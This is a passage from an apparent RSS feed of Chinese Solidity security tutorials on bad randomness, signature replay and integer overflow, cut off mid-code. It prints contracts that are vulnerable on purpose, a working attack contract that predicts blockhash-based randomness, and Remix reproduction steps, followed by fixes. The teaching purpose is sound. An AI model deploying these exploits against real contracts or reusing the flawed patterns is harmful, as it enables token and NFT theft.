方法。</p><p>坏随机数漏洞：攻击者可以事先计算这些伪随机数的结果，从而达到他们想要的目的，例如铸造任何他们想要的稀有<code>NFT</code>而非随机抽取。更多的内容可以阅读 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random">WTF Solidity极简教程 第39讲：伪随机数</a>。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/b1043723e6f5ec4f1ff3b5937a7ce99d06d5b4e400ba67ee4b946e1a00cad392.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">坏随机数案例</h2><p>下面我们学习一个有坏随机数漏洞的 NFT 合约： <code>BadRandomness.sol</code>。</p><pre data-type="codeBlock" text="contract BadRandomness is ERC721 {
    uint256 totalSupply;

    // 构造函数，初始化NFT合集的名称、代号
    constructor() ERC721(&quot;&quot;, &quot;&quot;){}

    // 铸造函数：当输入的 luckyNumber 等于随机数时才能mint
    function luckyMint(uint256 luckyNumber) external {
        uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number
        require(randomNumber == luckyNumber, &quot;Better luck next time!&quot;);

        _mint(msg.sender, totalSupply); // mint
        totalSupply++;
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">BadRandomness</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC721</span> </span>{
    <span class="hljs-keyword">uint256</span> totalSupply;

    <span class="hljs-comment">// 构造函数，初始化NFT合集的名称、代号</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title">ERC721</span>(<span class="hljs-params"><span class="hljs-string">""</span>, <span class="hljs-string">""</span></span>)</span>{}

    <span class="hljs-comment">// 铸造函数：当输入的 luckyNumber 等于随机数时才能mint</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">luckyMint</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> luckyNumber</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> randomNumber <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>), <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>))) <span class="hljs-operator">%</span> <span class="hljs-number">100</span>; <span class="hljs-comment">// get bad random number</span>
        <span class="hljs-built_in">require</span>(randomNumber <span class="hljs-operator">=</span><span class="hljs-operator">=</span> luckyNumber, <span class="hljs-string">"Better luck next time!"</span>);

        _mint(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, totalSupply); <span class="hljs-comment">// mint</span>
        totalSupply<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
    }
}
</code></pre><p>它有一个主要的铸造函数 <code>luckyMint()</code>，用户调用时输入一个 <code>0-99</code> 的数字，如果和链上生成的伪随机数 <code>randomNumber</code> 相等，即可铸造幸运 NFT。伪随机数使用 <code>blockhash</code> 和 <code>block.timestamp</code> 声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。</p><p>下面我们写个攻击合约 <code>Attack.sol</code>。</p><pre data-type="codeBlock" text="contract Attack {
    function attackMint(BadRandomness nftAddr) external {
        // 提前计算随机数
        uint256 luckyNumber = uint256(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        ) % 100;
        // 利用 luckyNumber 攻击
        nftAddr.luckyMint(luckyNumber);
    }
}
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attackMint</span>(<span class="hljs-params">BadRandomness nftAddr</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// 提前计算随机数</span>
        <span class="hljs-keyword">uint256</span> luckyNumber <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(
            <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span> <span class="hljs-operator">-</span> <span class="hljs-number">1</span>), <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>))
        ) <span class="hljs-operator">%</span> <span class="hljs-number">100</span>;
        <span class="hljs-comment">// 利用 luckyNumber 攻击</span>
        nftAddr.luckyMint(luckyNumber);
    }
}
</code></pre><p>攻击函数 <code>attackMint()</code>中的参数为 <code>BadRandomness</code>合约地址。在其中，我们计算了随机数 <code>luckyNumber</code>，然后将它作为参数输入到 <code>luckyMint()</code> 函数完成攻击。由于<code>attackMint()</code>和<code>luckyMint()</code>将在同一个区块中调用，<code>blockhash</code>和<code>block.timestamp</code>是相同的，利用他们生成的随机数也相同。</p><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code> 复现</h2><p>由于 Remix 自带的 Remix VM不支持 <code>blockhash</code>函数，因此你需要将合约部署到以太坊测试链上进行复现。</p><ol><li><p>部署 <code>BadRandomness</code> 合约。</p></li><li><p>部署 <code>Attack</code> 合约。</p></li><li><p>将 <code>BadRandomness</code> 合约地址作为参数传入到 <code>Attack</code> 合约的 <code>attackMint()</code> 函数并调用，完成攻击。</p></li><li><p>调用 <code>BadRandomness</code> 合约的 <code>balanceOf</code> 查看<code>Attack</code> 合约NFT余额，确认攻击成功。</p></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">预防方法</h2><p>我们通常使用预言机项目提供的链下随机数来预防这类漏洞，例如 Chainlink VRF。这类随机数从链下生成，然后上传到链上，从而保证随机数不可预测。更多介绍可以阅读 <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random">WTF Solidity极简教程 第39讲：伪随机数</a>。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结</h2><p>这一讲我们介绍了坏随机数漏洞，并介绍了一个简单的预防方法：使用预言机项目提供的链下随机数。NFT 和 GameFi 项目方应避免使用链上伪随机数进行抽奖，以防被黑客利用。</p>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全 S06. 签名重放]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s06</link>
            <guid>UOYUdJcSSUhSlsVKcqKM</guid>
            <pubDate>Wed, 02 Nov 2022 07:48:31 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science｜@WTFAcademy_ 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍智能合约的签名重放（Signature Replay）攻击和预防方法，它曾间接导致了著名做市商 Wintermute 被盗2000万枚 $OP。签名重放​上学的时候，老师经常会让家长签字，有时候家长很忙，我就会很“贴心”照着以前的签字抄一遍。某种意义上来说，这就是签名重放。 在区块链中，数字签名可以用于识别数据签名者和验证数据完整性。发送交易时，用户使用私钥签名交易，使得其他人可以验证交易是由相应账户发出的。智能合约也能利用 ECDSA 算法验证用户将在链下创建的签名，然后执行铸造或转账等逻辑。更多关于数字签名的介绍请见WTF Solidity第37讲：数字签名。 数字签名一般有两种常见的重放攻击...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/WTFAcademy_">@WTFAcademy_</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy/">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy/">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍智能合约的签名重放（Signature Replay）攻击和预防方法，它曾间接导致了著名做市商 Wintermute 被盗2000万枚 $OP。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">签名重放​</h2><p>上学的时候，老师经常会让家长签字，有时候家长很忙，我就会很“贴心”照着以前的签字抄一遍。某种意义上来说，这就是签名重放。</p><p>在区块链中，数字签名可以用于识别数据签名者和验证数据完整性。发送交易时，用户使用私钥签名交易，使得其他人可以验证交易是由相应账户发出的。智能合约也能利用 <code>ECDSA</code> 算法验证用户将在链下创建的签名，然后执行铸造或转账等逻辑。更多关于数字签名的介绍请见<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity/blob/main/37_Signature/readme.md">WTF Solidity第37讲：数字签名</a>。</p><p>数字签名一般有两种常见的重放攻击：</p><ol><li><p>普通重放：将本该使用一次的签名多次使用。NBA官方发布的《The Association》系列 NFT 因为这类攻击被免费铸造了上万枚。</p></li><li><p>跨链重放：将本该在一条链上使用的签名，在另一条链上重复使用。做市商 Wintermute 因为跨链重放攻击被盗2000万枚 $OP。</p></li></ol><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">漏洞合约例子​</h2><p>下面的<code>SigReplay</code>合约是一个<code>ERC20</code>代币合约，它的铸造函数有签名重放漏洞。它使用链下签名让白名单地址 <code>to</code> 铸造相应数量 <code>amount</code> 的代币。合约中保存了 <code>signer</code> 地址，来验证签名是否有效。</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import &quot;@openzeppelin/contracts/token/ERC20/ERC20.sol&quot;;
import &quot;@openzeppelin/contracts/access/Ownable.sol&quot;;
import &quot;@openzeppelin/contracts/utils/cryptography/ECDSA.sol&quot;;

// 权限管理错误例子
contract SigReplay is ERC20 {

    address public signer;

    // 构造函数：初始化代币名称和代号
    constructor() ERC20(&quot;SigReplay&quot;, &quot;Replay&quot;) {
        signer = msg.sender;
    }
    
    /**
     * 有签名重访漏洞的铸造函数
     * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
     * amount: 1000
     * 签名： 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b
     */
    function badMint(address to, uint amount, bytes memory signature) public {
        bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount));
        require(verify(_msgHash, signature), &quot;Invalid Signer!&quot;);
        _mint(to, amount);
    }

    /**
     * 将to地址（address类型）和amount（uint256类型）拼成消息msgHash
     * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
     * amount: 1000
     * 对应的消息msgHash: 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be
     */
    function getMessageHash(address to, uint256 amount) public pure returns(bytes32){
        return keccak256(abi.encodePacked(to, amount));
    }

    /**
     * @dev 获得以太坊签名消息
     * `hash`：消息哈希 
     * 遵从以太坊签名标准：https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * 以及`EIP191`:https://eips.ethereum.org/EIPS/eip-191`
     * 添加&quot;\x19Ethereum Signed Message:\n32&quot;字段，防止签名的是可执行交易。
     */
    function toEthSignedMessageHash(bytes32 hash) public pure returns (bytes32) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        return keccak256(abi.encodePacked(&quot;\x19Ethereum Signed Message:\n32&quot;, hash));
    }

    // ECDSA验证
    function verify(bytes32 _msgHash, bytes memory _signature) public view returns (bool){
        return ECDSA.recover(_msgHash, _signature) == signer;
    }
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.4;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/ERC20.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/access/Ownable.sol"</span>;
<span class="hljs-keyword">import</span> <span class="hljs-string">"@openzeppelin/contracts/utils/cryptography/ECDSA.sol"</span>;

<span class="hljs-comment">// 权限管理错误例子</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">SigReplay</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span> </span>{

    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> signer;

    <span class="hljs-comment">// 构造函数：初始化代币名称和代号</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"SigReplay"</span>, <span class="hljs-string">"Replay"</span></span>) </span>{
        signer <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }
    
    <span class="hljs-comment">/**
     * 有签名重访漏洞的铸造函数
     * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
     * amount: 1000
     * 签名： 0x5a4f1ad4d8bd6b5582e658087633230d9810a0b7b8afa791e3f94cc38947f6cb1069519caf5bba7b975df29cbfdb4ada355027589a989435bf88e825841452f61b
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">badMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> signature</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">bytes32</span> _msgHash <span class="hljs-operator">=</span> toEthSignedMessageHash(getMessageHash(to, amount));
        <span class="hljs-built_in">require</span>(verify(_msgHash, signature), <span class="hljs-string">"Invalid Signer!"</span>);
        _mint(to, amount);
    }

    <span class="hljs-comment">/**
     * 将to地址（address类型）和amount（uint256类型）拼成消息msgHash
     * to: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
     * amount: 1000
     * 对应的消息msgHash: 0xb4a4ba10fbd6886a312ec31c54137f5714ddc0e93274da8746a36d2fa96768be
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getMessageHash</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>)</span>{
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(to, amount));
    }

    <span class="hljs-comment">/**
     * @dev 获得以太坊签名消息
     * `hash`：消息哈希 
     * 遵从以太坊签名标准：https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
     * 以及`EIP191`:https://eips.ethereum.org/EIPS/eip-191`
     * 添加"\x19Ethereum Signed Message:\n32"字段，防止签名的是可执行交易。
     */</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">toEthSignedMessageHash</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> hash</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bytes32</span></span>) </span>{
        <span class="hljs-comment">// 32 is the length in bytes of hash,</span>
        <span class="hljs-comment">// enforced by the type signature above</span>
        <span class="hljs-keyword">return</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-string">"\x19Ethereum Signed Message:\n32"</span>, hash));
    }

    <span class="hljs-comment">// ECDSA验证</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">verify</span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> _msgHash, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> _signature</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>{
        <span class="hljs-keyword">return</span> ECDSA.recover(_msgHash, _signature) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> signer;
    }
</code></pre><p><strong>注意</strong> 铸造函数 <code>badMint()</code> 没有对 <code>signature</code> 查重，导致同样的签名可以多次使用，无限铸造代币。</p><pre data-type="codeBlock" text="    function badMint(address to, uint amount, bytes memory signature) public {
        bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount)));
        require(verify(_msgHash, signature), &quot;Invalid Signer!&quot;);
        _mint(to, amount);
    }
"><code>    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">badMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> signature</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">bytes32</span> _msgHash <span class="hljs-operator">=</span> toEthSignedMessageHash(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(to, amount)));
        <span class="hljs-built_in">require</span>(verify(_msgHash, signature), <span class="hljs-string">"Invalid Signer!"</span>);
        _mint(to, amount);
    }
</code></pre><h2 id="h-remix" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0"><code>Remix</code> 复现​</h2><p><strong>1.</strong> 部署 <code>SigReplay</code> 合约，签名者地址 <code>signer</code> 被初始化为部署钱包地址。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>2.</strong> 利用<code>getMessageHash</code>函数获取消息。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>3.</strong> 点击 <code>Remix</code> 部署面板的签名按钮，使用私钥给消息签名。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><p><strong>4.</strong> 反复调用 <code>badMint</code> 进行签名重放攻击，铸造大量代币。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">预防办法​</h2><p>签名重放攻击主要有两种预防办法：</p><ol><li><p>将使用过的签名记录下来，比如记录下已经铸造代币的地址 <code>mintedAddress</code>，防止签名反复使用：</p><pre data-type="codeBlock" text="mapping(address =&gt; bool) public mintedAddress;   // 记录已经mint的地址

function goodMint(address to, uint amount, bytes memory signature) public {
    bytes32 _msgHash = toEthSignedMessageHash(getMessageHash(to, amount));
    require(verify(_msgHash, signature), &quot;Invalid Signer!&quot;);
    // 检查该地址是否mint过
    require(!mintedAddress[to], &quot;Already minted&quot;);
    // 记录mint过的地址
    mintedAddress[to] = true;
    _mint(to, amount);
}
```solidity
"><code><span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">bool</span>) <span class="hljs-keyword">public</span> mintedAddress;   <span class="hljs-comment">// 记录已经mint的地址</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">goodMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> signature</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">bytes32</span> _msgHash <span class="hljs-operator">=</span> toEthSignedMessageHash(getMessageHash(to, amount));
    <span class="hljs-built_in">require</span>(verify(_msgHash, signature), <span class="hljs-string">"Invalid Signer!"</span>);
    <span class="hljs-comment">// 检查该地址是否mint过</span>
    <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>mintedAddress[to], <span class="hljs-string">"Already minted"</span>);
    <span class="hljs-comment">// 记录mint过的地址</span>
    mintedAddress[to] <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    _mint(to, amount);
}
```solidity
</code></pre></li><li><p>将 <code>nonce</code> （数值随每次交易递增）和 <code>chainid</code> （链ID）包含在签名消息中，这样可以防止普通重放和跨链重放攻击：</p><pre data-type="codeBlock" text="uint nonce;

function nonceMint(address to, uint amount, bytes memory signature) public {
    bytes32 _msgHash = toEthSignedMessageHash(keccak256(abi.encodePacked(to, amount, nonce, block.chainid)));
    require(verify(_msgHash, signature), &quot;Invalid Signer!&quot;);
    _mint(to, amount);
    nonce++;
}
"><code><span class="hljs-keyword">uint</span> nonce;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">nonceMint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint</span> amount, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> signature</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">bytes32</span> _msgHash <span class="hljs-operator">=</span> toEthSignedMessageHash(<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(to, amount, nonce, <span class="hljs-built_in">block</span>.<span class="hljs-built_in">chainid</span>)));
    <span class="hljs-built_in">require</span>(verify(_msgHash, signature), <span class="hljs-string">"Invalid Signer!"</span>);
    _mint(to, amount);
    nonce<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
}
</code></pre></li></ol><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">总结​</h2><p>这一讲，我们介绍了智能合约中的签名重放漏洞，并介绍了两个预防方法：</p><ol><li><p>将使用过的签名记录下来，防止二次使用。</p></li><li><p>将 <code>nonce</code> 和 <code>chainid</code> 包含到签名消息中。</p></li></ol>]]></content:encoded>
            <author>wtfacademy@newsletter.paragraph.com (0xAA)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/abff660faef94864217e76f49ee0b0cbebad46807f768a6dc4cc1777e9497f50.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[WTF Solidity 合约安全: S05. 整型溢出]]></title>
            <link>https://paragraph.com/@wtfacademy/wtf-solidity-s05</link>
            <guid>L5uTdY5PJtIsuFXS3AAY</guid>
            <pubDate>Fri, 21 Oct 2022 15:56:11 GMT</pubDate>
            <description><![CDATA[我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。 推特：@0xAA_Science｜@WTFAcademy_ 社区：Discord｜微信群｜官网 wtf.academy 所有代码和教程开源在github: github.com/AmazingAng/WTFSolidity这一讲，我们将介绍整型溢出漏洞（Arithmetic Over/Under Flows）。这是一个比较经典的漏洞，Solidity 0.8版本后内置了Safemath库，因此很少发生。整型溢出以太坊虚拟机（EVM）为整型设置了固定大小，因此它只能表示特定范围的数字。例如 uint8，只能表示 [0,255] 范围内的数字。如果给 uint8 类型变量的赋值 257，则会上溢（overflow）变为 1；如果给它赋值-1，则会下溢（underflow）变为255。 攻击者可以利用这个漏洞进行攻击：想象一下，黑客余额为0，他凭空花 $1 之后，余额突然变成了 $2^256-1。2018年的土狗项目 PoWHC 因为这个...]]></description>
            <content:encoded><![CDATA[<p>我最近在重新学solidity，巩固一下细节，也写一个“WTF Solidity极简入门”，供小白们使用（编程大佬可以另找教程），每周更新1-3讲。</p><p>推特：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/0xAA_Science">@0xAA_Science</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://twitter.com/WTFAcademy_">@WTFAcademy_</a></p><p>社区：<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://discord.wtf.academy">Discord</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link">微信群</a>｜<a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://wtf.academy">官网 wtf.academy</a></p><p>所有代码和教程开源在github: <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://github.com/AmazingAng/WTFSolidity">github.com/AmazingAng/WTFSolidity</a></p><hr><p>这一讲，我们将介绍整型溢出漏洞（Arithmetic Over/Under Flows）。这是一个比较经典的漏洞，Solidity 0.8版本后内置了Safemath库，因此很少发生。</p><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">整型溢出</h2><p>以太坊虚拟机（EVM）为整型设置了固定大小，因此它只能表示特定范围的数字。例如 <code>uint8</code>，只能表示 [0,255] 范围内的数字。如果给 <code>uint8</code> 类型变量的赋值 <code>257</code>，则会上溢（overflow）变为 <code>1</code>；如果给它赋值<code>-1</code>，则会下溢（underflow）变为<code>255</code>。</p><p>攻击者可以利用这个漏洞进行攻击：想象一下，黑客余额为<code>0</code>，他凭空花 <code>$1</code> 之后，余额突然变成了 <code>$2^256-1</code>。2018年的土狗项目 <code>PoWHC</code> 因为这个漏洞被盗了 <code>866 ETH</code>。</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/8136e033a959be8a0c44b0cc6f93ce0a085b2c42c0d3d2f7d12eb8f0bea392e2.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure><h2 id="h-" class="text-3xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">漏洞合约例子</h2><p>下面这个例子是一个简单的代币合约，参考了 <code>Ethernaut</code> 中的合约。它有 <code>2</code> 个状态变量：<code>balances</code> 记录了每个地址的余额，<code>totalSupply</code> 记录了代币总供给。</p><p>它有 <code>3</code> 个函数：</p><ul><li><p>构造函数：初始化代币总供给。</p></li><li><p><code>transfer()</code>：转账函数。</p></li><li><p><code>balnceOf()</code>：查询余额函数。</p></li></ul><p>由于solidity <code>0.8.0</code> 版本之后会自动检查整型溢出错误，溢出时会报错。如果我们要重现这种漏洞，需要使用 <code>unchecked</code> 关键字，在代码块中临时关掉溢出检查，就像我们在 <code>transfer()</code> 函数中做的那样。</p><p>这个例子中的漏洞就出现在<code>transfer()</code> 函数中，<code>require(balances[msg.sender] - _value &gt;= 0);</code> 这个检查由于整型溢出，永远都会通过。因此用户可以无限转账。</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

contract Token {
  mapping(address =&gt; uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) {
    balances[msg.sender] = totalSupply = _initialSupply;
  }
  
  function transfer(address _to, uint _value) public returns (bool) {
    unchecked{
        require(balances[msg.sender] - _value &gt;= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
    }
    return true;
  }
  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.4;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Token</span> </span>{
